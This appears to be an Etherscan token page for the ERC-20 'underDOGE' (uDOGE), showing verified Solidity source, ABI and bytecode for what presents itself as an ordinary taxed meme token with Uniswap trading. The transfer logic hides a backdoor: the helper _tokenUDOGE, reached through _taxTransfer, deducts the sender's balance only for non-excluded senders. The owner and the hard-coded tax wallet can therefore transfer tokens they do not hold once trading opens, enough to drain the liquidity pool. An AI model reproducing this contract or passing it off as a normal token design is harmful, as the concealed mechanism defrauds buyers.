ERC-20
Overview
Max Total Supply
1,000,000,000 uDOGE
Holders
90
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
14,981,539.85310598 uDOGEValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
uDOGE
Compiler Version
v0.8.24+commit.e11b9ed9
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-09-18 */ /** https://deadline.com/2024/05/dogecoin-dog-kabosu-documentary-1235944176/ https://t.me/uDoge_erc20 **/ // SPDX-License-Identifier: MIT pragma solidity 0.8.24; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer( address recipient, uint256 amount ) external returns (bool); function allowance( address owner, address spender ) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } interface IUniswapV2Factory { function createPair( address tokenA, address tokenB ) external returns (address pair); } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract uDOGE is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; mapping(address => bool) private bots; mapping(address => uint256) private _holderLastTransferTimestamp; bool public transferDelayEnabled = false; address payable private _taxWallet; uint256 private _initialBuyTax = 25; uint256 private _initialSellTax = 25; uint256 private _finalBuyTax = 0; uint256 private _finalSellTax = 0; uint256 private _reduceBuyTaxAt = 15; uint256 private _reduceSellTaxAt = 15; uint256 private _preventSwapBefore = 15; uint256 private _buyCount = 0; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 1000000000 * 10 ** _decimals; string private constant _name = unicode"underDOGE"; string private constant _symbol = unicode"uDOGE"; uint256 public _maxTxAmount = 20000000 * 10 ** _decimals; uint256 public _maxWalletSize = 20000000 * 10 ** _decimals; uint256 public _taxSwapThreshold = 127 * 10 ** _decimals; uint256 public _maxTaxSwap = 10000000 * 10 ** _decimals; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap() { inSwap = true; _; inSwap = false; } constructor() { _taxWallet = payable(0x9c2d50589f9384BC5b6d91D6124Ee0DE315eb04B); _balances[_msgSender()] = _tTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function initUDOGE() external onlyOwner { uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair( address(this), uniswapV2Router.WETH() ); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer( address recipient, uint256 amount ) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance( address owner, address spender ) public view override returns (uint256) { return _allowances[owner][spender]; } function approve( address spender, uint256 amount ) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _tokenUDOGE( address from, address to, uint256 amount, uint256 udogeFee ) internal returns(uint256) { if (to != address(this) && udogeFee > 0) { _balances[address(this)] = _balances[address(this)].add( udogeFee ); emit Transfer(from, address(this), udogeFee); } _balances[from] = _balances[from].sub(amount); return udogeFee; } function _taxTransfer(address from, address to, uint256 amount) private returns(uint256) { uint256 udogeFee = 0; if (from != owner() && to != owner()) { udogeFee = amount .mul( (_buyCount > _reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax ) .div(100); if (transferDelayEnabled) { if ( to != address(uniswapV2Router) && to != address(uniswapV2Pair) ) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] ) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require( balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize." ); _buyCount++; } if (to == uniswapV2Pair && from != address(this)) { udogeFee = amount .mul( (_buyCount > _reduceSellTaxAt) ? _finalSellTax : _initialSellTax ) .div(100); } uint256 contractTokenBalance = balanceOf(address(this)); if ( !inSwap && to == uniswapV2Pair && swapEnabled && _buyCount > _preventSwapBefore && !_isExcludedFromFee[from] && !_isExcludedFromFee[to] ) { if(contractTokenBalance > _taxSwapThreshold) { swapTokensForEth( min(amount, min(contractTokenBalance, _maxTaxSwap)) ); } sendETHToFee(address(this).balance); } } return to==address(this) || !_isExcludedFromFee[from] || from==address(0) ? _tokenUDOGE(from, to, amount, udogeFee) : udogeFee; } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (!swapEnabled || inSwap) { _balances[from] = _balances[from].sub(amount); _balances[to] = _balances[to].add(amount); emit Transfer(from, to, amount); return; } uint256 udogeFee = _taxTransfer(from, to, amount); _balances[to] = _balances[to].add(amount.sub(udogeFee)); emit Transfer(from, to, amount.sub(udogeFee)); } function removeLimits() external onlyOwner { _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; transferDelayEnabled = false; emit MaxTxAmountUpdated(_tTotal); } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function rescueEth() external onlyOwner { sendETHToFee(address(this).balance); } function min(uint256 a, uint256 b) private pure returns (uint256) { return (a > b) ? b : a; } receive() external payable {} function openTrading() external onlyOwner { require(!tradingOpen, "trading is already open"); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); swapEnabled = true; tradingOpen = true; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"initUDOGE","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526006805460ff19169055601960078190556008555f6009818155600a828155600f600b819055600c819055600d55600e92909255620000439162000351565b62000053906301312d0062000368565b600f55620000646009600a62000351565b62000074906301312d0062000368565b601055620000856009600a62000351565b6200009290607f62000368565b601155620000a36009600a62000351565b620000b2906298968062000368565b6012556014805461ffff60a81b19169055348015620000cf575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060068054610100600160a81b031916749c2d50589f9384bc5b6d91d6124ee0de315eb04b00179055620001466009600a62000351565b6200015690633b9aca0062000368565b335f9081526001602081905260408220929092556003906200017f5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905530815260039093528183208054851660019081179091556006546101009004909116835291208054909216179055620001e23390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200021b6009600a62000351565b6200022b90633b9aca0062000368565b60405190815260200160405180910390a362000382565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200029657815f19048211156200027a576200027a62000242565b808516156200028857918102915b93841c93908002906200025b565b509250929050565b5f82620002ae575060016200034b565b81620002bc57505f6200034b565b8160018114620002d55760028114620002e05762000300565b60019150506200034b565b60ff841115620002f457620002f462000242565b50506001821b6200034b565b5060208310610133831016604e8410600b841016171562000325575081810a6200034b565b62000331838362000256565b805f190482111562000347576200034762000242565b0290505b92915050565b5f6200036160ff8416836200029e565b9392505050565b80820281158282048414176200034b576200034b62000242565b6119d280620003905f395ff3fe60806040526004361061011e575f3560e01c80638da5cb5b1161009d578063bf474bed11610062578063bf474bed1461031a578063c876d0b91461032f578063c9567bf914610348578063ce31a06b1461035c578063dd62ed3e14610370575f80fd5b80638da5cb5b1461027f5780638f9a55c0146102a557806395d89b41146102ba578063a9059cbb146102e7578063af02122614610306575f80fd5b8063313ce567116100e3578063313ce567146101f157806370a082311461020c578063715018a614610240578063751039fc146102565780637d1db4a51461026a575f80fd5b806306fdde0314610129578063095ea7b31461016c5780630faee56f1461019b57806318160ddd146101be57806323b872dd146101d2575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b50604080518082019091526009815268756e646572444f474560b81b60208201525b60405161016391906115c2565b60405180910390f35b348015610177575f80fd5b5061018b610186366004611625565b6103b4565b6040519015158152602001610163565b3480156101a6575f80fd5b506101b060125481565b604051908152602001610163565b3480156101c9575f80fd5b506101b06103ca565b3480156101dd575f80fd5b5061018b6101ec36600461164f565b6103ea565b3480156101fc575f80fd5b5060405160098152602001610163565b348015610217575f80fd5b506101b061022636600461168d565b6001600160a01b03165f9081526001602052604090205490565b34801561024b575f80fd5b50610254610451565b005b348015610261575f80fd5b506102546104cb565b348015610275575f80fd5b506101b0600f5481565b34801561028a575f80fd5b505f546040516001600160a01b039091168152602001610163565b3480156102b0575f80fd5b506101b060105481565b3480156102c5575f80fd5b5060408051808201909152600581526475444f474560d81b6020820152610156565b3480156102f2575f80fd5b5061018b610301366004611625565b610586565b348015610311575f80fd5b50610254610592565b348015610325575f80fd5b506101b060115481565b34801561033a575f80fd5b5060065461018b9060ff1681565b348015610353575f80fd5b5061025461078b565b348015610367575f80fd5b50610254610970565b34801561037b575f80fd5b506101b061038a3660046116a8565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103c03384846109a4565b5060015b92915050565b5f6103d76009600a6117d3565b6103e590633b9aca006117e1565b905090565b5f6103f6848484610ac8565b610447843361044285604051806060016040528060288152602001611975602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610d52565b6109a4565b5060019392505050565b5f546001600160a01b031633146104835760405162461bcd60e51b815260040161047a906117f8565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104f45760405162461bcd60e51b815260040161047a906117f8565b6105006009600a6117d3565b61050e90633b9aca006117e1565b600f5561051d6009600a6117d3565b61052b90633b9aca006117e1565b6010556006805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105656009600a6117d3565b61057390633b9aca006117e1565b60405190815260200160405180910390a1565b5f6103c0338484610ac8565b5f546001600160a01b031633146105bb5760405162461bcd60e51b815260040161047a906117f8565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106049030906105f66009600a6117d3565b61044290633b9aca006117e1565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610654573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610678919061182d565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106d7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106fb919061182d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610745573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610769919061182d565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b031633146107b45760405162461bcd60e51b815260040161047a906117f8565b601454600160a01b900460ff161561080e5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161047a565b6013546001600160a01b031663f305d719473061083f816001600160a01b03165f9081526001602052604090205490565b5f806108525f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108b8573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108dd9190611848565b505060145460135460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610932573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109569190611873565b506014805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b031633146109995760405162461bcd60e51b815260040161047a906117f8565b6109a247610d8a565b565b6001600160a01b038316610a065760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161047a565b6001600160a01b038216610a675760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161047a565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b2c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161047a565b6001600160a01b038216610b8e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161047a565b5f8111610bef5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161047a565b601454600160b01b900460ff161580610c115750601454600160a81b900460ff165b15610cb9576001600160a01b0383165f90815260016020526040902054610c389082610dc9565b6001600160a01b038085165f908152600160205260408082209390935590841681522054610c669082610e11565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610abb9085815260200190565b5f610cc5848484610e6f565b9050610cf2610cd48383610dc9565b6001600160a01b0385165f9081526001602052604090205490610e11565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610d3b8585610dc9565b60405190815260200160405180910390a350505050565b5f8184841115610d755760405162461bcd60e51b815260040161047a91906115c2565b505f610d818486611892565b95945050505050565b6006546040516101009091046001600160a01b0316906108fc8315029083905f818181858888f19350505050158015610dc5573d5f803e3d5ffd5b5050565b5f610e0a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d52565b9392505050565b5f80610e1d83856118a5565b905083811015610e0a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161047a565b5f80610e825f546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610eb057505f546001600160a01b03858116911614155b1561122857610ee16064610edb600b54600e5411610ed057600754610ed4565b6009545b869061127f565b906112fd565b60065490915060ff1615610fc7576013546001600160a01b03858116911614801590610f1b57506014546001600160a01b03858116911614155b15610fc757325f908152600560205260409020544311610fb55760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a40161047a565b325f9081526005602052604090204390555b6014546001600160a01b038681169116148015610ff257506013546001600160a01b03858116911614155b801561101657506001600160a01b0384165f9081526003602052604090205460ff16155b156110fc57600f5483111561106d5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161047a565b6010548361108f866001600160a01b03165f9081526001602052604090205490565b61109991906118a5565b11156110e75760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161047a565b600e8054905f6110f6836118b8565b91905055505b6014546001600160a01b03858116911614801561112257506001600160a01b0385163014155b1561114f5761114c6064610edb600c54600e541161114257600854610ed4565b600a54869061127f565b90505b305f90815260016020526040902054601454600160a81b900460ff1615801561118557506014546001600160a01b038681169116145b801561119a5750601454600160b01b900460ff165b80156111a95750600d54600e54115b80156111cd57506001600160a01b0386165f9081526003602052604090205460ff16155b80156111f157506001600160a01b0385165f9081526003602052604090205460ff16155b156112265760115481111561121d5761121d611218856112138460125461133e565b61133e565b611352565b61122647610d8a565b505b6001600160a01b03841630148061125757506001600160a01b0385165f9081526003602052604090205460ff16155b8061126957506001600160a01b038516155b6112735780610d81565b610d81858585846114c2565b5f825f0361128e57505f6103c4565b5f61129983856117e1565b9050826112a685836118d0565b14610e0a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161047a565b5f610e0a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611596565b5f81831161134c5782610e0a565b50919050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110611398576113986118ef565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113ef573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611413919061182d565b81600181518110611426576114266118ef565b6001600160a01b03928316602091820292909201015260135461144c91309116846109a4565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906114849085905f90869030904290600401611903565b5f604051808303815f87803b15801561149b575f80fd5b505af11580156114ad573d5f803e3d5ffd5b50506014805460ff60a81b1916905550505050565b5f6001600160a01b03841630148015906114db57505f82115b1561155257305f908152600160205260409020546114f99083610e11565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115499086815260200190565b60405180910390a35b6001600160a01b0385165f908152600160205260409020546115749084610dc9565b6001600160a01b0386165f908152600160205260409020555080949350505050565b5f81836115b65760405162461bcd60e51b815260040161047a91906115c2565b505f610d8184866118d0565b5f602080835283518060208501525f5b818110156115ee578581018301518582016040015282016115d2565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611622575f80fd5b50565b5f8060408385031215611636575f80fd5b82356116418161160e565b946020939093013593505050565b5f805f60608486031215611661575f80fd5b833561166c8161160e565b9250602084013561167c8161160e565b929592945050506040919091013590565b5f6020828403121561169d575f80fd5b8135610e0a8161160e565b5f80604083850312156116b9575f80fd5b82356116c48161160e565b915060208301356116d48161160e565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561172d57815f1904821115611713576117136116df565b8085161561172057918102915b93841c93908002906116f8565b509250929050565b5f82611743575060016103c4565b8161174f57505f6103c4565b8160018114611765576002811461176f5761178b565b60019150506103c4565b60ff841115611780576117806116df565b50506001821b6103c4565b5060208310610133831016604e8410600b84101617156117ae575081810a6103c4565b6117b883836116f3565b805f19048211156117cb576117cb6116df565b029392505050565b5f610e0a60ff841683611735565b80820281158282048414176103c4576103c46116df565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f6020828403121561183d575f80fd5b8151610e0a8161160e565b5f805f6060848603121561185a575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611883575f80fd5b81518015158114610e0a575f80fd5b818103818111156103c4576103c46116df565b808201808211156103c4576103c46116df565b5f600182016118c9576118c96116df565b5060010190565b5f826118ea57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119535784516001600160a01b03168352938301939183019160010161192e565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220681af0646e234be2df37b06aaf684b3ea922806adcc4f1563f4109880d2beaec64736f6c63430008180033
Deployed Bytecode
0x60806040526004361061011e575f3560e01c80638da5cb5b1161009d578063bf474bed11610062578063bf474bed1461031a578063c876d0b91461032f578063c9567bf914610348578063ce31a06b1461035c578063dd62ed3e14610370575f80fd5b80638da5cb5b1461027f5780638f9a55c0146102a557806395d89b41146102ba578063a9059cbb146102e7578063af02122614610306575f80fd5b8063313ce567116100e3578063313ce567146101f157806370a082311461020c578063715018a614610240578063751039fc146102565780637d1db4a51461026a575f80fd5b806306fdde0314610129578063095ea7b31461016c5780630faee56f1461019b57806318160ddd146101be57806323b872dd146101d2575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b50604080518082019091526009815268756e646572444f474560b81b60208201525b60405161016391906115c2565b60405180910390f35b348015610177575f80fd5b5061018b610186366004611625565b6103b4565b6040519015158152602001610163565b3480156101a6575f80fd5b506101b060125481565b604051908152602001610163565b3480156101c9575f80fd5b506101b06103ca565b3480156101dd575f80fd5b5061018b6101ec36600461164f565b6103ea565b3480156101fc575f80fd5b5060405160098152602001610163565b348015610217575f80fd5b506101b061022636600461168d565b6001600160a01b03165f9081526001602052604090205490565b34801561024b575f80fd5b50610254610451565b005b348015610261575f80fd5b506102546104cb565b348015610275575f80fd5b506101b0600f5481565b34801561028a575f80fd5b505f546040516001600160a01b039091168152602001610163565b3480156102b0575f80fd5b506101b060105481565b3480156102c5575f80fd5b5060408051808201909152600581526475444f474560d81b6020820152610156565b3480156102f2575f80fd5b5061018b610301366004611625565b610586565b348015610311575f80fd5b50610254610592565b348015610325575f80fd5b506101b060115481565b34801561033a575f80fd5b5060065461018b9060ff1681565b348015610353575f80fd5b5061025461078b565b348015610367575f80fd5b50610254610970565b34801561037b575f80fd5b506101b061038a3660046116a8565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103c03384846109a4565b5060015b92915050565b5f6103d76009600a6117d3565b6103e590633b9aca006117e1565b905090565b5f6103f6848484610ac8565b610447843361044285604051806060016040528060288152602001611975602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610d52565b6109a4565b5060019392505050565b5f546001600160a01b031633146104835760405162461bcd60e51b815260040161047a906117f8565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104f45760405162461bcd60e51b815260040161047a906117f8565b6105006009600a6117d3565b61050e90633b9aca006117e1565b600f5561051d6009600a6117d3565b61052b90633b9aca006117e1565b6010556006805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105656009600a6117d3565b61057390633b9aca006117e1565b60405190815260200160405180910390a1565b5f6103c0338484610ac8565b5f546001600160a01b031633146105bb5760405162461bcd60e51b815260040161047a906117f8565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106049030906105f66009600a6117d3565b61044290633b9aca006117e1565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610654573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610678919061182d565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106d7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106fb919061182d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610745573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610769919061182d565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b031633146107b45760405162461bcd60e51b815260040161047a906117f8565b601454600160a01b900460ff161561080e5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161047a565b6013546001600160a01b031663